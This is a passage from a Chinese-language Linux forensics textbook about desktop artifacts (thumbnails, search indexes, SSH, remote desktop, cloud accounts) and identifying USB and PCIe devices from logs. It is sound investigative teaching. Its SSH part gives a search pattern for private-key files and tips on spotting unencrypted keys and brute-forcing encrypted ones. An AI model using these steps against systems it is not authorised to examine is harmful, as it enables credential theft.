a4a457a6738615c9bfe80dafc8abb17d.png e06e9ae1a831b3903d9a368ddd653778.png
...

使用任何 PNG 分析工具可以揭示这些文件中的更多信息。

在这个例子中,使用 ImageMagick 的identify工具从其中一个文件中提取元数据:

$ identify -verbose a13c5980c0774f2a19bc68716c63c3d0.png
Image: a13c5980c0774f2a19bc68716c63c3d0.png
  Format: PNG (Portable Network Graphics)
...
 Properties:
    date:create: 2020-03-15T08:27:17+00:00
    date:modify: 2020-03-15T08:27:17+00:00
...
    Software: KDE Thumbnail Generator Images (GIF, PNG, BMP, ...)
    Thumb::Mimetype: image/png
    Thumb::MTime: 1465579499
    Thumb::Size: 750162
    Thumb::URI: file:///tmp/Practical_Forensic_Imaging.png
...

前两个时间戳分别指的是缩略图 PNG 的创建时间和最后修改时间(如果原始图像更改,它将被更新)。Thumb::MTime:属性是原始文件的最后修改时间戳(以 Unix 纪元格式表示)。Software:属性是创建缩略图的程序。在这种情况下,它来自 KDE,使用的是 Dolphin 文件管理器。Thumb::Mimetype:Thumb::Size:Thumb::URI:属性显示了原始文件的图像类型、大小和位置。缩略图是原始图像的较小版本,如图 10-10 所示。

Image

图 10-10:恢复的缩略图示例

缩略图文件的删除是尽最大努力进行的。一些文件管理器可能会在原始文件删除时删除缩略图。一些“清理”工具可以删除缓存文件。用户也可以手动删除缓存。

一些较老的应用程序可能会使用~/.thumbnails目录来存储缩略图文件。

完全集成的桌面应用程序

在 X11 窗口管理器的早期,标准小部件库被用来创建跨窗口统一的外观(相同的按钮样式、滚动条样式等)。桌面环境将这种统一的“外观和感觉”进一步扩展,包括紧密集成的应用程序。这些应用程序不仅外观相似,而且行为也相似,能够相互通信(通常通过 D-Bus),并可以共享配置。这些应用程序有时被称为完全集成应用程序,并作为桌面环境项目的一部分进行开发。以下是一些项目团队的示例以及他们的应用程序列表链接:

典型的集成应用程序通常是文本编辑器、图像和文档查看器、文件管理器、音乐和视频播放器等。

其他集成的“配件”应用程序可能包括屏幕截图工具、配置工具、热键管理器、主题等。更大的桌面环境甚至可能包括自己的电子邮件客户端(例如 GNOME 的 Evolution 或 KDE 的 Kmail)或 Web 浏览器。像 Firefox、Thunderbird、LibreOffice 等大型跨平台应用程序可能以更通用的方式进行集成(使用 D-Bus 进行通信)。

完全集成的应用程序从取证的角度来看很有趣,因为它们倾向于将数据记录、共享、配置和存储在同一个地方,并以相同的方式进行处理,从而使得取证分析更加容易。

小部件库和集成应用程序的使用不是强制性的。可以在单一系统上同时安装 GNOME、KDE、Xfce 和 LXDE 应用程序,甚至可以与各种小部件库(如 Athena 或 Motif 等)一起使用旧的非集成 X11 应用程序。

文件管理器

文件管理器应用程序对取证人员尤为重要。文件管理器在本地系统中的作用类似于网页浏览器在互联网中的作用。对文件管理器的分析可以帮助了解本地机器上文件的管理方式。

Linux 上有数十种文件管理器,既有图形界面的,也有基于文本控制台的。每种桌面环境都偏爱某个特定的文件管理器,发行版可能选择某个文件管理器作为默认管理器。

文件管理器通常是 Linux 爱好者的个人偏好,用户可能会安装自己喜欢的文件管理器,覆盖掉默认的发行版设置。

总体而言,这些文件管理器不局限于特定的桌面环境,且可以在任何环境中使用(前提是已安装所需的库)。

不同桌面环境的默认文件管理器(KDE Dolphin、GNOME Nautilus、XFCE Thunar 和 LXDE PCManFM)可能会被其他集成良好的应用程序调用,并留下过去活动的遗留物,这些在调查中可能很有用。

从取证的角度来看,文件管理器和其他集成应用程序的分析可能包括以下内容:

  • 最近打开的文档

  • 垃圾桶/回收站

  • 图像缩略图

  • 搜索索引和查询

  • 已书签的文件和目录

  • 标签和文件管理器元数据

  • 挂载设备和网络共享的历史

  • 配置和插件

这些遗留物可能会在集成良好的应用程序之间创建并共享,帮助重建过去的活动。每个应用程序可能存储不同的信息,并且存储在不同的位置。在进行取证分析时,需要寻找每个应用程序使用的缓存和数据文件。

其他桌面取证遗留物

大多数 Linux 系统上可以找到各种其他桌面遗留物,这里进行了描述。

截图

Linux 桌面上的截图功能可以作为扩展、某个特定环境的捆绑工具或独立应用程序来实现。截图工具通常将截图保存到剪贴板或文件系统。

当保存到文件系统时,截图通常会保存在用户的 ~/Pictures/ 目录下,命名约定通常包括截图时的时间戳,示例如下:

$ ls -l /home/sam/Pictures/
total 3040
-rw-r----- 1 sam sam 1679862 Oct 11 09:18 'Screenshot from 2020-10-11 09-18-47.png'
-rw-r----- 1 sam sam 1426161 Oct 11 09:20 'Screenshot from 2020-10-11 09-20-52.png'

Wayland 的安全架构阻止了基于 X11 的截图程序按预期工作,但替代工具可与各种 Wayland 合成器兼容使用。

桌面搜索

桌面搜索引擎是寻找法医证据的一个有趣地方。在这里,我们并不是在寻找搜索的关键词(它们通常不会被保存),而是查找包含文件名和其他数据的搜索索引。大多数发行版都包含本地搜索引擎,它们可以对文件名或文件内容进行索引。

GNOME 桌面搜索

GNOME 的本地搜索引擎叫做 Tracker,它使用被称为矿工(Miners)的守护进程来对文件系统进行索引,并提取 Tracker 数据库的元数据。Tracker 使用基于 SQLite 的 SPARQL 数据库。这些数据库文件可以在 .cache/tracker/.cache/tracker3/ 目录中找到。

更新版本的 Tracker 将数据库分为多个文件,每个文件对应一个搜索矿工(例如图片、文档、文件系统等)。这些数据库文件(.db)可以使用 sqlite 命令进行导出,并以文本形式查看或导入 SQLite 法医工具进行分析。例如,以下是使用 sqlite 命令导出 Tracker 数据库的示例:

$ sqlite3 ~/.cache/tracker3/files/http%3A%2F%2Ftracker.api.gnome.org%2Fontology
%2Fv3%2Ftracker%23FileSystem.db .dump
...
INSERT INTO "nfo:FileDataObject" VALUES(100086,1602069522,NULL,275303,NULL,
'Fintech_Forensics_Nikkel.pdf',NULL,NULL,1593928895,'9f3e4118b613f560ccdebc
ee36846f09695c584997fa626eb72d556f8470697f');
...
INSERT INTO "nie:DataObject" VALUES(100086,'file:///home/sam/Downloads/
Fintech_Forensics_Nikkel.pdf', 275303,NULL,NULL,100081);
...

在这个示例中,文件系统中的一个文件由两行表示(通过记录号 100086 连接)。有一个路径和文件名(file:///home/sam/ Downloads/Fintech_Forensics_Nikkel.pdf),文件大小(275303),文件创建时间戳(1593928895),以及文件加入数据库的时间戳(1602069522)。

这些数据库可能包含法医镜像中通常找不到的额外信息,可能是关于已删除文件的信息。

KDE 桌面搜索

KDE 有两个本地搜索引擎:一个用于本地文件系统,称为 Baloo;另一个用于联系人、日历和电子邮件,内置于 Akonadi 中,这是 KDE 的个人信息管理(PIM)框架。

Baloo 数据库是一个位于用户主目录中的单一文件(~/.local/share/baloo/index),如图所示:

$ ls -lh ~/.local/share/baloo/
total 13G
-rw-r----- 1 sam sam 13G 4\. Okt 19:07 index
-rw-r----- 1 sam sam 8.0K 11\. Dez 10:48 index-lock

随着时间的推移,索引的大小可能会变得很大,因为 Baloo 似乎会摄取大量的内容数据。截止目前,没有工具可以在单独的分析机器上进行离线法医分析 Baloo 索引文件。分析可以使用 strings、十六进制编辑器和法医切割工具。还有几个 Baloo 工具可以用于从正在运行的系统中搜索和提取数据。

KDE 的另一个索引活动是通过 Akonadi 完成的。这个框架存储并索引电子邮件、联系人、日历条目、便签和 KDE Kontact PIM 套件中的其他信息。数据本身存储在 MySQL 数据库中,搜索索引使用 Xapian 数据库文件(.glass)。所有内容都位于用户的主目录中(~/.local/share/akonadi/)。

$ ls ~/.local/share/akonadi/
Akonadi.error db_data db_misc file_db_data mysql.conf search_db
socket-localhost.localdomain-default
$ ls ~/.local/share/akonadi/search_db/
calendars collections contacts email emailContacts notes
$ ls ~/.local/share/akonadi/search_db/email
docdata.glass flintlock iamglass postlist.glass termlist.glass

这个示例展示了 Akonadi 目录结构的部分内容。/search_db/ 目录包含每个数据类别的 Xapian 数据库。其他目录则包含 MySQL 数据库,存储实际数据。可以使用标准的 MySQL 和 Xapian 工具提取数据库内容。

其他搜索索引

Xfce 桌面环境使用 Catfish 搜索工具。Catfish 不会索引文件,而是按需搜索文件。

一个名为 mlocate 的系统范围搜索包用于索引文件名。一些发行版可能默认安装了它(例如 Ubuntu)。更新数据库的工具会定期从 cron 或通过 systemd 定时器运行。该索引仅包含文件和目录名称,而不包含内容。配置文件是 /etc/updatedb.conf,数据库位于 /var/lib/mlocate/mlocate.db。mlocate.db(5) 手册页描述了数据库格式。该数据库包含每个目录的最后修改/变更时间戳,还列出了该目录所属的文件(但单个文件没有时间戳)。一个用于转储此数据库的工具可以在这里找到: github.com/halpomeranz/dfis/blob/master/mlocate-time/

本节描述的搜索数据库可能包含已删除文件的证据、文件的先前时间戳,甚至可能包含在取证调查中有用的文档和文件内容。

用户网络访问

本节描述了通过网络访问 Linux 系统的方式。远程访问可以从两个角度来理解:用户从 Linux 系统发起连接到远程系统,以及 Linux 系统接受来自远程系统用户的连接。远程访问通常以远程 shell 或远程桌面的形式存在。

网络共享和云访问从最终用户或客户端的角度进行考虑。客户端活动的本地取证分析有涉及,尽管本书不涉及网络服务器应用程序的分析。

安全 Shell 访问

对 Unix 机器的远程访问始于使用模拟电话调制解调器将物理终端连接到远程系统的串行端口(tty)。一旦机器连接到互联网,像 telnet 和 rlogin 这样的协议就被创建出来,它们通过 TCP/IP 访问远程系统上的伪终端(pty 或 pts)。这些早期的协议安全性较差,SSH 被开发出来作为一个安全的替代方案,它使用加密身份验证和保护。今天,OpenSSH (www.openssh.com/) 已成为安全远程访问的事实标准。

配有 SSH 服务器(默认 TCP 端口 22)的机器直接暴露在互联网上,将会遭遇持续的扫描、探测和暴力破解尝试,这些都将在日志中可见。在取证检查中,必须将来自互联网的随机机会性“噪声”与正在调查的目标攻击区分开。

图 10-11 提供了 OpenSSH 客户端的基本概览图。

图片

图 10-11:SSH 客户端概览

ssh 客户端用于访问 shell 或向远程机器发送命令,scp 客户端用于复制文件(基于 BSD 的rcp),而sftp 客户端也以交互方式复制文件,类似于ftp。这三个客户端程序使用相同的配置文件和密钥,这些文件存储在用户的~/.ssh/目录中。

SSH 客户端可以使用密码、密钥文件或其他安全密钥提供者(例如智能卡)来对远程机器进行身份验证。默认情况下,密钥文件(如果使用)是通过ssh-keygen工具手动创建的,并存储在以id_开头的文件中。这些文件的命名基于所使用的算法,公钥文件以.pub扩展名结尾。

私钥文件可以使用密码短语进行加密,也可以以明文存储(通常用于自动化远程系统管理任务)。检查密钥文件是否加密的最简单方法是尝试更改密码(使用ssh-keygen -p)。如果提示Enter old passphrase:,说明它已加密。如果提示Enter new passphrase (empty for no passphrase):,说明它以明文存储。也可以尝试暴力破解加密的 SSH 密钥文件。

在调查中,搜索整个系统以查找可能没有加密的 SSH 密钥文件是很有用的。有时系统用户是为了备份或运行自动化的系统管理工具(例如 Ansible 或 Nagios)而创建的。无论密钥是否加密,SSH 私钥的头部和尾部都是相同的,以下示例可用于在取证工具中创建搜索字符串:^(17)

-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

公钥文件以一个注释字段结尾,这个字段可能很有趣。它可能包含用户名、电子邮件地址、主机名或与密钥相关的其他描述信息。这个公钥可以通过authorized_keys密钥文件提供身份验证。以下是一个公钥的示例:

ssh-rsa AAAAB3NzaC1yc2EAAA ... /uzXGy1Wf172aUzlpvV3mHws= sam@example.com

请注意,公钥字符串在注释区域包含了用户的电子邮件地址。默认情况下,SSH 客户端不会在本地记录任何内容,因此重建过去的 SSH 活动可能会很困难。从取证角度来看,.ssh/known_hosts 文件是很有趣的,因为它包含了过去访问过的主机列表。当建立 SSH 连接时,新的主机会自动添加到该列表中。.ssh/known_hosts 文件包含主机名和/或 IP 地址、使用的加密算法以及远程机器的公钥。这个列表可以用来识别与调查可能相关的其他机器、主机名、域名和 IP 地址。

公钥信息也很有趣,因为它可以与外部收集的情报数据进行关联,比如 SSH 公钥扫描(例如 Shodan),并且有可能识别出使用相同密钥的其他主机(例如重用或复制的虚拟机)。以下是来自.ssh/known_hosts文件的示例行:

sdf.lonestar.org,205.166.94.16 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJJk3a190w/1
TZkzVKORvz/kwyKmFY144lVeDFm80p17

另一个可以查找过去安全外壳客户端活动痕迹的地方是用户的 shell 历史记录。这些历史文件可以搜索 sshscpsftp 命令。

即使 SSH 客户端默认不记录活动,仍可能会有日志条目指示之前的使用情况。例如,当客户端脚本或程序失败(或成功)时,可能会找到 SSH 连接尝试的证据。

SSH 客户端配置可以在多个位置找到:/etc/ssh/ssh_config/etc/ssh/ssh_config.d/~/.ssh/config,尽管其中一些是可选的。在这里,添加的自定义配置可能指向其他基础设施(例如,Host、Match 和 ProxyJump 命令)。此外,可能会暴露端口转发和代理使用情况(例如,RemoteForward、ProxyCommand 和 Tunnel)。SSH 提供了高度灵活的端口转发和代理功能,可以用于绕过防火墙规则和现有的外围安全系统。远程主机、远程用户名、端口转发和代理的证据可能会在配置文件中或通过 shell 历史中的命令找到。

在取证检查中,检查其他(非 OpenSSH)程序与 SSH 的交互(例如,密码管理器或代理)或 SSH 的替代实现(例如 PuTTY)。SSH 代理将提供密钥认证,OpenSSH 默认包括这一功能,但也可以使用其他代理。前面已经描述过一些替代代理或密码管理器(如 GNOME 密钥链、GPG 或 KDEWallet)。可以搜索 SSH_AUTH_SOCK 变量设置的存在,这表示使用了替代代理进行 SSH 认证。

文件复制程序 scpsftp 经常作为较大应用程序(如办公套件、文件管理器等)的后台,用于与远程服务器交换文件。还有一个额外的软件包叫做 sshfs,它用于创建一个远程 sftp 登录的 FUSE 挂载文件系统。

请参考 ssh(1)、scp(1)、sftp(1)、ssh-keygen(1) 和 ssh_config(5) 手册页,了解有关安全外壳客户端的详细信息。

远程桌面访问

对于服务器环境来说,能够复制文件并获取远程 shell 通常足够满足用户(尤其是管理员)的需求,而 SSH 足以满足这一需求。但对于桌面环境来说,远程图形桌面是可能的,并且通常是所需的。

传统的 Unix 和 Linux 机器不需要远程桌面软件,因为远程访问桌面已经内置在 X11 协议中。此功能要求本地和远程机器都运行 X11,但这并不总是成立(例如,Windows 或 Mac 客户端访问远程 Linux 桌面)。这促使了远程桌面的使用。

虚拟网络计算(VNC)是 Linux 最流行的远程桌面客户端。当 Linux 桌面安装并运行 VNC 服务器时,VNC 服务器通常会监听 TCP 端口 5900。

Wayland 是在更注重安全性的基础上开发的,防止客户端窗口互相访问。因此,大多数基于 X11 的远程访问软件在 Wayland 桌面上无法工作(X11 屏幕截图工具或热键管理器也无法工作)。因此,Wayland 桌面必须将远程桌面功能构建到合成器中,或使用其他方法来访问桌面。

VNC 服务器的一个问题是日志记录不良。在某些情况下,可能没有日志记录远程桌面连接。在其他情况下,连接可能被记录,但没有 IP 地址。以下是来自 Ubuntu 机器的一个示例:

Dec 29 10:52:43 pc1 vino-server[371755]: 29/12/2020 10:52:43 [IPv4] Got connection from
 pc2.example.com
...
Dec 29 10:53:12 pc1 vino-server[371755]: 29/12/2020 10:53:12 Client pc2.example.com gone

在这里,VNC 连接已连接到 vino-server 守护进程,并随后终止。通过反向 DNS 查找记录了一个主机名,但没有记录 IP 地址。

注意

*如果某个人或组织为源 IP 范围(**.in-addr .arpa 区域)运行自己的 DNS,他们可以伪造或欺骗任何他们想要的 DNS 反向查找,从而导致日志信息失真。永远不要完全相信来自反向 DNS 查找的主机名。

还有其他用于远程桌面访问的客户端协议。远程桌面协议(RDP)在 Windows 环境中很流行,并且在 Linux 上也有一些支持。Spice 协议主要为 Linux 桌面开发,具有 TLS 加密、USB 端口重定向、音频和智能卡支持等功能。许多视频会议应用程序(例如 Jitsi、Zoom、Microsoft Teams 和 Skype)提供屏幕共享功能,用于支持和演示。

许多企业环境正在实施虚拟桌面环境(VDE),作为硬件桌面或笔记本系统的替代方案。VDE 是在云中运行的完整桌面环境。类似于虚拟服务器,它是一个虚拟桌面 PC,可以通过远程桌面访问方法访问。

网络共享与云服务

网络挂载文件系统(也称为网络共享)可以在内核中管理,也可以通过 FUSE 在用户空间中管理。如果为系统范围的使用而挂载,这些网络文件系统可能会与本地硬盘一起在 /etc/fstab 文件中进行配置。网络文件系统也可以通过命令行手动挂载,相关证据可能出现在 Shell 历史记录中。挂载的证据也可能出现在日志中。

网络文件系统(NFS)是传统的 Unix 协议,由 Sun Microsystems 开发,用于将远程文件系统挂载到本地机器上。NFS 共享像普通驱动器一样挂载,但在 fstab 条目的第一个字段前会加上主机名(例如 hostname.example.com:/home)。

与其他网络文件系统相比,NFS 更为复杂,需要多个协议和 RPC 服务(如 mountd)、用于管理锁定、身份验证、共享导出等的进程。NFS 通常在企业环境中使用,极少出现在消费者的家庭环境中。有关更多信息,请参阅 nfs(5) 手册页。支持的协议在近十个不同的 RFC 中有所定义。

公共互联网文件系统(CIFS)和/或服务器消息块(SMB)最初由 IBM 开发,后来由 Microsoft 开发,用于在本地计算机上挂载远程网络文件系统。Linux 在内核中实现了客户端,挂载可以作为 /etc/fstab 中的一个条目(类似于 NFS)。最常见的服务器端实现是 Samba,它为其他 SMB 客户端提供网络共享。有关详细信息,请参阅 mount.smb(3) 手册页。

Webdav 是一种基于 Web 的规范,用于通过 HTTP 协议挂载共享。Linux 下的文件系统实现称为 davfs。Webdav 在挂载云服务(如 NextCloud)时非常流行。Webdav 协议的变种包括 caldav 和 carddav,用于访问远程日历和联系人数据库。有关挂载 Webdav 共享的更多信息,请参见 mount.davfs(8) 手册页。

FUSE 允许在不需要内核实现的情况下挂载文件系统。FUSE 文件系统还允许非特权用户挂载文件系统(例如 USB 存储)。FUSE 可以为访问文件系统中任意数据集创建文件系统抽象(如远程 FTP 服务器、本地归档文件或包含数据的特殊硬件设备)。

在桌面计算机上,可以使用桌面环境提供的 GUI 工具配置各种云帐户。GNOME 提供 GOA(GNOME 在线帐户)来配置云帐户。图 10-12 显示了 GOA 配置面板。

Image

图 10-12:GNOME 在线帐户面板

用户可以添加和配置各种商业和开源云服务。

配置的帐户可以在用户的主目录中的 ~/.config/goa-1.0/accounts.conf 文件中找到。以下展示了两个配置的云帐户示例:

   $ cat ~/.config/goa-1.0/accounts.conf
➊ [Account account_1581875544_0]
➋ Provider=exchange
   Identity=sam
   PresentationIdentity=sam@example.com
   MailEnabled=true
   CalendarEnabled=true
   ContactsEnabled=true
   Host=example.com
   AcceptSslErrors=false

➌ [Account account_1581875887_1]
➍ Provider=imap_smtp
   Identity=sam@example.com
   PresentationIdentity=sam@example.com
   Enabled=true
   EmailAddress=sam@example.com
   Name=Samantha Samuel
   ImapHost=example.com
   ImapUserName=sam
   ImapUseSsl=false
   ImapUseTls=true
   ImapAcceptSslErrors=false
   SmtpHost=example.com
   SmtpUseAuth=true
   SmtpUserName=sam
   SmtpAuthLogin=false
   SmtpAuthPlain=true
   SmtpUseSsl=false
   SmtpUseTls=true
   SmtpAcceptSslErrors=false

这里配置了 Microsoft Exchange ➋ 和 Imap ➍ 帐户。文件中 ➊ 和 ➌ 的帐户标识符各自包含一个数字时间戳,指示帐户条目的创建时间。密码存储在 GNOME 密钥环中。

可以在此处找到可能的 GOA 帐户部分列表: gitlab.gnome.org/GNOME/gnome-online-accounts/raw/master/doc/goa-sections.txt

KDE 将云帐户信息存储在用户的 ~/.config/libaccounts-glib/ 目录中。这是一个 SQLite 3 数据库,可以按以下方式访问(转储):

$ sqlite3 ~/.config/libaccounts-glib/accounts.db .dump
...
INSERT INTO Accounts VALUES(1,'sam','nextcloud',1);
...
INSERT INTO Settings VALUES(1,0,'dav/storagePath','s','''/remote.php/dav/files/sam''');
INSERT INTO Settings VALUES(1,0,'dav/contactsPath','s','''/remote.php/dav/addressbooks/users/sam
''');
INSERT INTO Settings VALUES(1,0,'dav/host','s','''example.com''');
INSERT INTO Settings VALUES(1,0,'auth/mechanism','s','''password''');
INSERT INTO Settings VALUES(1,0,'username','s','''sam''');
INSERT INTO Settings VALUES(1,0,'name','s','''sam''');
INSERT INTO Settings VALUES(1,0,'CredentialsId','u','1');
INSERT INTO Settings VALUES(1,0,'server','s','''https://example.com/cloud/''');
...

这表明为用户 sam 配置了一个 NextCloud 帐户。密码存储在 KDE 钱包中,并由 libaccounts 客户端请求。

在某些情况下,Linux 系统可能已安装用于访问云资源的“胖客户端”软件。这可以是免费的开源软件,如 NextCloud 客户端,或是专有客户端软件,如 Microsoft Teams。

能够重建对云服务的访问可以支持调查,并可能导致恢复存储在远程服务器上的其他证据。

摘要

本章对于来自 Windows 或 Mac 取证背景的读者来说,可能是最熟悉的。这里涉及的几乎所有用户和桌面相关的文档都在概念上类似。你现在应该知道如何查找和分析用户凭据和密码的位置,以及如何存储指纹扫描数据。你还探索了窗口和桌面系统及其提供的文档。你应该具备了在桌面上重建用户活动、远程访问和云连接的坚实基础。

第十一章:附加外设设备的取证痕迹**

图片

在本章中,外设设备指的是诸如存储设备、摄像头、网络摄像头、打印机、扫描仪、移动设备等外部连接的硬件。我们将通过日志和配置文件中的痕迹尝试识别和分析这些附加设备。从取证的角度来看,我们试图尽可能多地了解这些设备,特别是任何独特的识别信息和使用证据。了解哪些设备连接到系统以及它们是如何被使用的,有助于重建过去的事件和活动。

你可能会注意到本章中缺少了蓝牙设备。它们也被视为外设,但它们与其他无线分析主题一起在第八章中讨论。

Linux 外设设备

用于连接外部外设设备的最常见接口是 USB 和 Thunderbolt。USB 设备占据了外部连接设备的绝大多数,远远超过任何其他外部接口。Thunderbolt 的物理接口现在使用 USB3C,并提供连接 PCI Express 设备的能力。此外,Fibre Channel(FC)和串行附加 SCSI(SAS)PCI 板卡提供的外部接口主要出现在企业环境中。

Linux 设备管理

如第二章中所述,Unix 最初开发时,一个核心理念(Linux 也采纳了这一理念)是“任何事物都是文件”。这一革命性的思想使得可以通过与内核交互的特殊文件来访问硬件设备。

设备文件可以分为两种类型(块设备或字符设备),它们具有关联的编号(主设备号和次设备号),用于指定设备的类别和实例。字符设备是按顺序访问(或流式传输)一个字节一个字节地访问,通常用于键盘、视频、打印机和其他串行设备。块设备则按块大小进行访问,可以进行缓存或随机访问,通常用于存储设备。

设备文件通常位于/dev/目录下,并由 udev 守护进程(systemd-udevd)动态创建。/dev/目录是一个伪文件系统,由正在运行的内核在内存中提供。因此,本目录中的设备文件在尸检取证检查中是不存在的。^(1) 设备文件不一定必须位于/dev/目录下,也可以通过mknod命令或mknod系统调用在任何地方创建。然而,任何位于/dev/目录之外的设备文件都是可疑的,值得进一步检查。

systemd-udevd 守护进程会注意到设备何时被内核附加或移除,并使用在规则文件中指定的 udev 规则设置相应的设备文件。软件包可能会在/usr/lib/udev/rules.d/目录中创建 udev 规则文件,而系统管理员则在/etc/udev/rules.d/目录中创建自定义的 udev 规则文件。以下是一个 udev 规则文件的示例:

$ cat /etc/udev/rules.d/nitrokey.rules
ATTRS{idVendor}=="20a0", ATTRS{idProduct}=="4108", MODE="660", GROUP="sam", TAG+="systemd"

系统所有者(sam)为一个 USB 设备 ID 为 20a0:4108 的 Nitrokey 身份验证设备创建了一个规则,定义了如何设置权限和组所有权。

检查/etc/udev/rules.d/将显示任何由系统所有者调整或创建的文件。有关 udev 的更多信息,请参见 udev(7)手册页。

识别连接的 USB 设备

USB 索引 USB 设备被创建用以整合和替代老化的外部外设接口,如 RS-232、并行打印机接口、PS/2 键盘和鼠标以及其他专有 PC 接口。它旨在支持多功能应用,如磁盘、键盘、鼠标、声音、网络连接、打印和扫描,以及连接小型设备(如手机)。越来越多的物联网设备可以通过 USB 连接到 PC,并且可能包含作为法医证据有用的数据。

在法医检查过程中,创建连接的 USB 设备列表将有助于回答与调查相关的问题,提供诸如以下信息:

  • 人员接近的指示

  • 在某一时刻的活动

  • 其他设备的查找与分析

  • 将特定设备与分析中的系统关联

在法医调查的背景下,我们特别关注唯一标识符和时间戳。唯一标识符将把特定设备与事件或犯罪中的特定计算机关联起来。USB 唯一标识符可能包括存储在设备固件或设备内存中的硬件序列号或 UUID。在尝试识别 USB 设备时,我们可以检查日志文件、配置文件和其他持久化数据。

USB 设备会出现在内核日志中,如下所示:

Dec 30 09:13:20 pc1 kernel: usb 5-3.2: new full-speed USB device number 36 using xhci_hcd
Dec 30 09:13:20 pc1 kernel: usb 5-3.2: New USB device found, idVendor=05ac, idProduct=1393,
bcdDevice= 1.05
Dec 30 09:13:20 pc1 kernel: usb 5-3.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
Dec 30 09:13:20 pc1 kernel: usb 5-3.2: Product: AirPod Case
Dec 30 09:13:20 pc1 kernel: usb 5-3.2: Manufacturer: Apple Inc.
Dec 30 09:13:20 pc1 kernel: usb 5-3.2: SerialNumber: GX3CFW4PLKKT
...
Dec 30 09:13:20 pc1 kernel: usbcore: registered new device driver apple-mfi-fastcharge
...
Dec 30 09:16:00 pc1 kernel: usb 5-3.2: USB disconnect, device number 36

这个例子显示了一个 Apple AirPod 充电盒在 12 月 30 日上午 9:13(09:13:20)连接。序列号提供了唯一的标识。断开连接的日志条目显示,AirPod 充电盒几分钟后被拔出。在分析存储设备日志时,设备号和 USB 端口(在这个例子中是365-3.2)是从内核日志中移除设备时唯一显示的信息。这些提供了与其他包含更详细设备信息(如制造商、产品、序列号等)的日志条目的关联。

从取证的角度来看,插入和移除的时间戳是有意义的。它们提供了一个指示,表明某人在设备插入和拔出时处于计算机的物理接近位置,并且可以推测使用时长。在得出确切的使用结论之前,可能需要其他日志和信息来验证这些时间戳。USB 设备插入的端口表示使用了哪个物理连接器。这些信息可能很有用,例如,如果 USB 设备被插入到机架一排中的服务器中,那么前端或后端的位置可能与数据中心的 CCTV 监控录像中的活动相吻合。

视频会议最近变得越来越流行,Linux 支持 Zoom、Teams、Jitsi 等视频会议软件。这些软件依赖于 USB 网络摄像头和麦克风(笔记本电脑为内置,台式机为外置)。这些设备可以以与本节描述的其他设备相同的方式进行查找,但 Linux 通过 Video4Linux(V4L)框架来管理视频设备,该框架是 Linux 媒体子系统的一部分。当视频设备连接到 Linux 系统时,内核会检测到它并创建一个/dev/video0设备(多个摄像头将显示为/dev/video1/dev/video2,依此类推)。典型的视频设备包括网络摄像头、数码摄像机、电视调谐器和视频采集卡。以下是一个示例:

Dec 30 03:45:56 pc1 kernel: usb 6-3.4: new SuperSpeed Gen 1 USB device number 3 using xhci_hcd
Dec 30 03:45:56 pc1 kernel: usb 6-3.4: New USB device found, idVendor=046d, idProduct=0893,
bcdDevice= 3.17
Dec 30 03:45:56 pc1 kernel: usb 6-3.4: New USB device strings: Mfr=0, Product=2, SerialNumber=3
Dec 30 03:45:56 pc1 kernel: usb 6-3.4: Product: Logitech StreamCam
Dec 30 03:45:56 pc1 kernel: usb 6-3.4: SerialNumber: 32B24605
Dec 30 03:45:56 pc1 kernel: hid-generic 0003:046D:0893.0005: hiddev1,hidraw4: USB HID v1.11
 Device [Logitech StreamCam] on usb-0000:0f:00.3-3.4/input5
...
Dec 30 03:45:56 pc1 kernel: mc: Linux media interface: v0.10
Dec 30 03:45:56 pc1 kernel: videodev: Linux video capture interface: v2.00
Dec 30 03:45:56 pc1 kernel: usbcore: registered new interface driver snd-usb-audio
Dec 30 03:45:56 pc1 kernel: uvcvideo: Found UVC 1.00 device Logitech StreamCam (046d:0893)
Dec 30 03:45:56 pc1 kernel: input: Logitech StreamCam as
/devices/pci0000:00/0000:00:08.1/0000:0f:00.3/usb6/6-3/6-3.4/6-3.4:1.0/input/input25
Dec 30 03:45:56 pc1 kernel: usbcore: registered new interface driver uvcvideo
Dec 30 03:45:56 pc1 kernel: USB Video Class driver (1.1.1)
Dec 30 03:45:56 pc1 systemd[587]: Reached target Sound Card.

这里,USB 设备通过制造商/型号/序列号信息被检测到,随后启动 Linux 视频驱动程序,使得可以使用视频设备进行录制、视频会议或观看电视。

已知的 USB 硬件 ID 列表可以在/usr/share/hwdata/usb.ids文件中找到,或者在* www.linux-usb.org/usb-ids.html*网站上查阅。这个列表按供应商、设备和接口名称进行格式化,由社区共同维护。

识别 PCI 和 Thunderbolt 设备

PCI Express 或 PCIe(外设组件互连快车)是一种规范(pcisig.com/),用于为连接 PCIe 设备提供总线接口。PCIe 设备通常是插入主板上 PCIe 插槽的卡,或者是集成到主板中的设备。

在日志中查找 PCIe 设备依赖于设备的内核模块,有些模块记录的信息比其他模块更多。以下示例展示了一个内核模块记录 PCIe 设备信息:

Dec 29 10:37:32 pc1 kernel: pci 0000:02:00.0: [10de:1c82] type 00 class
 0x030000
...
Dec 29 10:37:32 pc1 kernel: pci 0000:02:00.0: 16.000 Gb/s available
PCIe bandwidth, limited by 2.5 GT/s PCIe x8 link at 0000:00:01.0
(capable of 126.016 Gb/s with 8.0 GT/s PCIe x16 link)
...
Dec 29 10:37:33 pc1 kernel: nouveau 0000:02:00.0: NVIDIA GP107 (137000a1)
...
Dec 29 10:37:33 pc1 kernel: nouveau 0000:02:00.0: bios: version 86.07.59.00.24
Dec 29 10:37:34 pc1 kernel: nouveau 0000:02:00.0: pmu: firmware unavailable
Dec 29 10:37:34 pc1 kernel: nouveau 0000:02:00.0: fb: 4096 MiB GDDR5
...
Dec 29 10:37:34 pc1 kernel: nouveau 0000:02:00.0: DRM: allocated 3840x2160 fb:
0x200000, bo 00000000c125ca9a
Dec 29 10:37:34 pc1 kernel: fbcon: nouveaudrmfb (fb0) is primary device

这里检测到一张 Nvidia GP107 PCIe 显卡插在主板的物理插槽(总线)2 中。我们可以分析描述物理 PCIe 插槽的内核日志,并将其与已检测到的 PCIe 设备关联起来。

上述示例中的字符串 0000:02:00.0<domain>: <bus>:<device>.<function> 格式表示。此格式描述了 PCIEe 设备在系统中的位置,以及多功能设备的功能号。字符串 [10de:1c82] 表示设备厂商(NVIDIA)和产品(GP107)。

若要查看已知的 PCI 硬件 ID 列表,请参阅 /usr/share/hwdata/pci.ids 文件或 pci-ids.ucw.cz/ 网站。这些列表按厂商、设备、子厂商和子设备名称格式化,由社区共同维护。pci.ids(5) 手册页详细描述了该文件。

